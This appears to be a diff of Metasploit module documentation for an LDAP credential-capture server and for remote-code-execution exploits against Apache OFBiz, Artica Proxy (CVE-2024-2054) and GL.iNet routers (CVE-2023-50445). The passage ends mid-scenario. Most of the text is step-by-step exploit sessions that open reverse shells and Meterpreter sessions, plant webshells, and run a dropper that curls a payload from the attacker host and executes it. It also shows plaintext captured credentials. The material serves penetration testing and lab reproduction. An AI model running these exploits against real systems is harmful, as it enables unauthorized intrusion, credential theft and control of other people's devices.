2. Do: `use auxiliary/server/capture/ldap`
|
||||
3. Do: `run`
|
||||
4. From a new shell or workstation, perform a ldap bind request involving User credentials.
|
||||
5. Check the database using `creds` for the user authentication information.
|
||||
|
||||
## Options
|
||||
|
||||
**Authentication**
|
||||
|
||||
The type of LDAP authentication to capture. The default type is `Simple`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Metasploit Server
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/server/capture/ldap
|
||||
msf6 auxiliary(server/capture/ldap) > run
|
||||
|
||||
[*] Server started.
|
||||
[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass
|
||||
```
|
||||
|
||||
### Client
|
||||
|
||||
```
|
||||
└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W
|
||||
Enter LDAP Password:
|
||||
ldap_bind: Auth Method Not Supported (7)
|
||||
additional info: Auth Method Not Supported
|
||||
```
|
||||
|
||||
**Database**
|
||||
|
||||
```
|
||||
msf6 auxiliary(server/capture/ldap) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password
|
||||
```
|
||||
@@ -4,14 +4,25 @@
|
||||
|
||||
This module exploits a Java deserialization vulnerability in Apache
|
||||
OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for
|
||||
versions prior to 17.12.04.
|
||||
versions prior to 17.12.01 using the `ROME` gadget chain.
|
||||
|
||||
Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
|
||||
and use the `CommonsBeanutils1` gadget chain.
|
||||
|
||||
Verified working on 18.12.09, 17.12.01, and 15.12
|
||||
|
||||
### Setup
|
||||
|
||||
#### 15.12
|
||||
|
||||
You can use <https://hub.docker.com/r/opensourceknight/ofbiz>.
|
||||
|
||||
1. Initialize the database with demo data (`INIT_DB=2`) and bind to ports 8080 and 8443
|
||||
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
|
||||
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
|
||||
|
||||
#### 18.12.09
|
||||
|
||||
`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 vulhub/ofbiz:18.12.09`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -27,9 +38,11 @@ This executes a Unix command.
|
||||
|
||||
This uses a Linux dropper to execute code.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache OFBiz from [Docker](#setup).
|
||||
### Apache OFBiz from [Docker](#setup) 15.12.
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/apache_ofbiz_deserialization
|
||||
@@ -101,3 +114,50 @@ BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Apache OFBiz from [Docker](#setup) 18.12.09.
|
||||
|
||||
```
|
||||
[msf](Jobs:0 Agents:0) > use exploit/linux/http/apache_ofbiz_deserialization
|
||||
[*] Using configured payload linux/x64/meterpreter_reverse_https
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set ssl false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
ssl => false
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rport 8080
|
||||
rport => 8080
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8999
|
||||
srvport => 8999
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lport 9999
|
||||
lport => 9999
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lhost 172.17.0.1
|
||||
lhost => 172.17.0.1
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.17.0.1:9999
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Apache OFBiz detected
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
|
||||
[*] Using URL: http://172.17.0.1:8999/t8Ht92vyG
|
||||
[*] Client 172.17.0.2 (curl/7.74.0) requested /t8Ht92vyG
|
||||
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
|
||||
[+] Successfully executed command: curl -so /tmp/ccOiSBWw http://172.17.0.1:8999/t8Ht92vyG;chmod +x /tmp/ccOiSBWw;/tmp/ccOiSBWw;rm -f /tmp/ccOiSBWw
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwc954AkmwDFJGPdMCAemNwEhbK9MZE1sbFjd87crw4EoQ8IRya-nD4j7s9vkiPXENKkm6Hai6rTX1l6MxXV with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwBlG7PmcChFTs3mrZWe19ux0Ge4-K3sXMWLGzskiOvEJN9O34cT2vhArtS36BI-SM8HDCBKggdyux0 with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwS1jEDX4_Jx7YDDvUtpywgCk with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Attaching orphaned/stageless session...
|
||||
[*] Command Stager progress - 100.00% done (112/112 bytes)
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:9999 -> 172.17.0.2:47500) at 2024-01-16 20:04:06 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) > sysinfo
|
||||
Computer : 172.17.0.2
|
||||
OS : Debian 11.4 (Linux 6.5.0-kali3-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) >
|
||||
```
|
||||
@@ -0,0 +1,213 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A Command Injection vulnerability in Artica Proxy appliance version `4.50` and `4.40`
|
||||
allows remote attackers to run arbitrary commands via unauthenticated HTTP request.
|
||||
The Artica Proxy administrative web application will de-serialize arbitrary PHP objects
|
||||
supplied by unauthenticated users and subsequently enable code execution as the `www-data` user.
|
||||
|
||||
This module has been tested with:
|
||||
* Artica Proxy Appliance 4.50 running in VirtualBox 7.0.14 r161095 (Qt5.15.2)
|
||||
* Artica Proxy Appliance 4.40 Service Pack 118 running in VirtualBox 7.0.14 r161095 (Qt5.15.2)
|
||||
|
||||
## Installation steps to install Artica Proxy appliance
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Download the Artica Proxy iso image from [here](https://sourceforge.net/projects/artica-squid/files/ISO/).
|
||||
* Install the iso image in your virtualization engine.
|
||||
* When installed, configure the VM appliance to your needs using the menu options.
|
||||
* Boot up the VM and should be able to access the Artica appliance.
|
||||
* Either thru the console, `ssh` on port `22` or via the `webui` via `https://your_articaproxy_ip:9000`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http//artica_proxy_unauth_rce_cve_2024_2054`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set webshell cuckoo`
|
||||
- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
|
||||
### WEBSHELL
|
||||
You can use this option to set the filename without extension of the webshell.
|
||||
This is handy if you want to test the webshell upload and execution with different file names.
|
||||
to bypass any security settings on the Web and PHP server.
|
||||
|
||||
### COMMAND
|
||||
This option provides the user to choose the PHP underlying shell command function to be used for execution.
|
||||
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
|
||||
This option is only available when the target selected is either Unix Command or Linux Dropper.
|
||||
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```msf
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info
|
||||
|
||||
Name: Artica Proxy Unauthenticated PHP Deserialization Vulnerability
|
||||
Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054
|
||||
Platform: PHP, Unix, Linux
|
||||
Arch: php, cmd, x64, x86
|
||||
Privileged: No
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2024-03-05
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
Jaggar Henry of KoreLogic Inc.
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 PHP
|
||||
1 Unix Command
|
||||
2 Linux Dropper
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
|
||||
sics/using-metasploit.html
|
||||
RPORT 9000 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The Artica Proxy endpoint URL
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
WEBSHELL no Set webshell name without extension. Name will be randomly generated if left un
|
||||
set.
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on t
|
||||
he local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 1981 yes The local port to listen on.
|
||||
|
||||
|
||||
When TARGET is not 0:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
A Command Injection vulnerability in Artica Proxy appliance 4.50 and below allows
|
||||
remote attackers to run arbitrary commands via unauthenticated HTTP request.
|
||||
The Artica Proxy administrative web application will deserialize arbitrary PHP objects
|
||||
supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-2054
|
||||
https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054
|
||||
https://packetstormsecurity.com/files/177482
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
|
||||
### Target 0 - PHP native `php/meterpreter/reverse_tcp` session
|
||||
```msf
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo
|
||||
webshell => cuckoo
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4
|
||||
rhosts => 192.168.201.4
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.4:9000 can be exploited.
|
||||
[+] The target is vulnerable. Artica version: 4.50
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (39927 bytes) to 192.168.201.4
|
||||
[+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php
|
||||
[*] Meterpreter session 15 opened (192.168.201.8:4444 -> 192.168.201.4:33986) at 2024-03-15 17:46:04 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : artica-applianc
|
||||
OS : Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter >
|
||||
```
|
||||
### Target 1 - Unix Command `cmd/unix/reverse_bash` session
|
||||
```msf
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.4:9000 can be exploited.
|
||||
[+] The target is vulnerable. Artica version: 4.50
|
||||
[*] Executing Unix Command for cmd/unix/reverse_bash
|
||||
[+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php
|
||||
[*] Command shell session 16 opened (192.168.201.8:4444 -> 192.168.201.4:46286) at 2024-03-15 17:48:40 +0000
|
||||
|
||||
uname -a
|
||||
Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session
|
||||
```msf
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.4:9000 can be exploited.
|
||||
[+] The target is vulnerable. Artica version: 4.50
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.201.8:1981/U835crbue3yBo
|
||||
[*] Client 192.168.201.4 (Wget/1.20.1 (linux-gnu)) requested /U835crbue3yBo
|
||||
[*] Sending payload to 192.168.201.4 (Wget/1.20.1 (linux-gnu))
|
||||
[*] Sending stage (3045380 bytes) to 192.168.201.4
|
||||
[+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php
|
||||
[*] Meterpreter session 17 opened (192.168.201.8:4444 -> 192.168.201.4:35246) at 2024-03-15 17:50:04 +0000
|
||||
[*] Command Stager progress - 100.00% done (119/119 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : artica-applianc.domain.tld
|
||||
OS : Debian 10.13 (Linux 4.19.0-24-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,319 @@
|
||||
## Vulnerable Application
|
||||
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute
|
||||
arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module.
|
||||
This exploit requires post-authentication using the `AdminToken` cookie / session ID (`SID`), typically stolen by the attacker.
|
||||
|
||||
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua`
|
||||
string pattern matching and SQL injection vulnerability.
|
||||
The `AdminToken` cookie / `SID` can be retrieved without knowing a valid username and password.
|
||||
|
||||
The following GL.iNet network products are vulnerable:
|
||||
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
|
||||
- MT6000: v4.5.0 - v4.5.3;
|
||||
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
|
||||
- E750/E750V2, MV1000: v4.3.8;
|
||||
- X3000: v4.0.0 - v4.4.2;
|
||||
- XE3000: v4.0.0 - v4.4.3;
|
||||
- SFT1200: v4.3.6;
|
||||
- and potentially others (just try ;-)
|
||||
|
||||
## Installation
|
||||
Ideally, to test this module, you would need a vulnerable GL.iNet device.
|
||||
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
|
||||
we can simulate the router and test the vulnerable endpoint.
|
||||
|
||||
This module has been tested via FirmAE running on Kali Linux 2023.11 at the following emulated targets:
|
||||
* GL.iNet Router model AR300M with firmware v4.3.7
|
||||
* GL.iNet Router model AR300M16 with firmware v4.3.7
|
||||
* GL.iNet Router model MT300N-V2 with firmware v4.3.7
|
||||
* GL.iNet Router model MT1300 with firmware v4.3.7
|
||||
|
||||
### Installation steps to emulate the router firmware with FirmAE
|
||||
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
|
||||
* To emulate the specific firmware that comes with the GL.iNet devices, `binwalk` might need to be able to handle a sasquatch filesystem.
|
||||
* Find the additional installation/compilation steps [here](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
|
||||
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
|
||||
* Download the vulnerable firmware from GL.iNet [here](https://dl.gl-inet.com/?model=ar300m16).
|
||||
* We will pick `openwrt-ar300m16-4.3.7-0913-1694589994.bin` for the demonstration.
|
||||
* Start emulation.
|
||||
* First run `./init.sh` to initialize and start the Postgress database.
|
||||
* Start a debug session `./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin`
|
||||
* This will take a while, but in the end you should see the following...
|
||||
|
||||
```shell
|
||||
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
|
||||
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
|
||||
[*] extract done!!!
|
||||
[*] get architecture done!!!
|
||||
mke2fs 1.47.0 (5-Feb-2023)
|
||||
mknod: /dev/console: File exists
|
||||
e2fsck 1.47.0 (5-Feb-2023)
|
||||
[*] infer network start!!!
|
||||
|
||||
[IID] 91
|
||||
[MODE] debug
|
||||
[+] Network reachable on 192.168.1.1!
|
||||
[+] Run debug!
|
||||
Creating TAP device tap91_0...
|
||||
Set 'tap91_0' persistent and owned by uid 0
|
||||
Bringing up TAP device...
|
||||
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
|
||||
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
|
||||
import telnetlib
|
||||
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
|
||||
[*] IP - 192.168.1.1
|
||||
[*] connecting to netcat (192.168.1.1:31337)
|
||||
[-] failed to connect netcat
|
||||
------------------------------
|
||||
| FirmAE Debugger |
|
||||
------------------------------
|
||||
1. connect to socat
|
||||
2. connect to shell
|
||||
3. tcpdump
|
||||
4. run gdbserver
|
||||
5. file transfer
|
||||
6. exit
|
||||
> 1
|
||||
/ #
|
||||
/ # ifconfig
|
||||
ifconfig
|
||||
br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56
|
||||
inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:392 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:0
|
||||
RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B)
|
||||
|
||||
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:427 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB)
|
||||
|
||||
eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB)
|
||||
|
||||
lo Link encap:Local Loopback
|
||||
inet addr:127.0.0.1 Mask:255.0.0.0
|
||||
inet6 addr: ::1/128 Scope:Host
|
||||
UP LOOPBACK RUNNING MTU:65536 Metric:1
|
||||
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:0
|
||||
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
||||
|
||||
/ # netstat -rn
|
||||
netstat -rn
|
||||
Kernel IP routing table
|
||||
Destination Gateway Genmask Flags MSS Window irtt Iface
|
||||
192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
|
||||
```
|
||||
|
||||
* You should now be able to `ping` the network address 192.168.8.1 from your host.
|
||||
* Run a `nmap` command to check the services (HTTP TCP port 80).
|
||||
* NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
|
||||
* You can change this with: `ip a del 192.168.1.2/24 dev tap91_0` and `ip a add 192.168.8.2/24 dev tap91_0`.
|
||||
|
||||
```shell
|
||||
# ifconfig tap91_0
|
||||
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
|
||||
inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0
|
||||
inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link>
|
||||
ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet)
|
||||
RX packets 39 bytes 4692 (4.5 KiB)
|
||||
RX errors 0 dropped 0 overruns 0 frame 0
|
||||
TX packets 50 bytes 4044 (3.9 KiB)
|
||||
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
|
||||
```
|
||||
```shell
|
||||
# ping 192.168.8.1
|
||||
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
|
||||
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
|
||||
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
|
||||
^C
|
||||
--- 192.168.8.1 ping statistics ---
|
||||
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
|
||||
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
|
||||
# nmap 192.168.8.1
|
||||
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
|
||||
Nmap scan report for 192.168.8.1
|
||||
Host is up (0.020s latency).
|
||||
Not shown: 997 closed tcp ports (reset)
|
||||
PORT STATE SERVICE
|
||||
53/tcp open domain
|
||||
80/tcp open http
|
||||
443/tcp open https
|
||||
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
|
||||
```
|
||||
You are now ready to test the module using the emulated router hardware on IP address `192.168.8.1`.
|
||||
|
||||
## Verification Steps
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/glinet_unauth_rce_cve_2023_50445`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=Unix Command, 1=Linux Dropper>`
|
||||
- [x] `exploit`
|
||||
|
||||
You should get a `shell` or `Meterpreter`.
|
||||
|
||||
```shell
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info
|
||||
|
||||
Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
|
||||
Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
|
||||
Platform: Unix, Linux
|
||||
Arch: cmd, mipsle, mipsbe, armle
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2013-12-10
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
Unknown
|
||||
DZONERZY
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Unix Command
|
||||
1 Linux Dropper
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (UDP)
|
||||
SID no Session ID
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
|
||||
n all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
|
||||
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
|
||||
interface in the `logread` module.
|
||||
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
|
||||
by the attacker.
|
||||
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
|
||||
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
|
||||
retrieved without knowing a valid username and password.
|
||||
|
||||
The following GL.iNet network products are vulnerable:
|
||||
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
|
||||
- MT6000: v4.5.0 - v4.5.3;
|
||||
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
|
||||
- E750/E750V2, MV1000: v4.3.8;
|
||||
- X3000: v4.0.0 - v4.4.2;
|
||||
- XE3000: v4.0.0 - v4.4.3;
|
||||
- SFT1200: v4.3.6;
|
||||
- and potentially others (just try ;-)
|
||||
|
||||
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
|
||||
when using the Linux Dropper target.
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-50445
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-50919
|
||||
https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445
|
||||
https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919
|
||||
https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
|
||||
https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
|
||||
## Options
|
||||
### SID
|
||||
This is the SessionID (`SID`) which you need for authentication.
|
||||
The module will exploit and grab the `SID` autmatically, but you can also provide it manually by using this option.
|
||||
|
||||
## Scenarios
|
||||
### FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat
|
||||
```shell
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
|
||||
|
||||
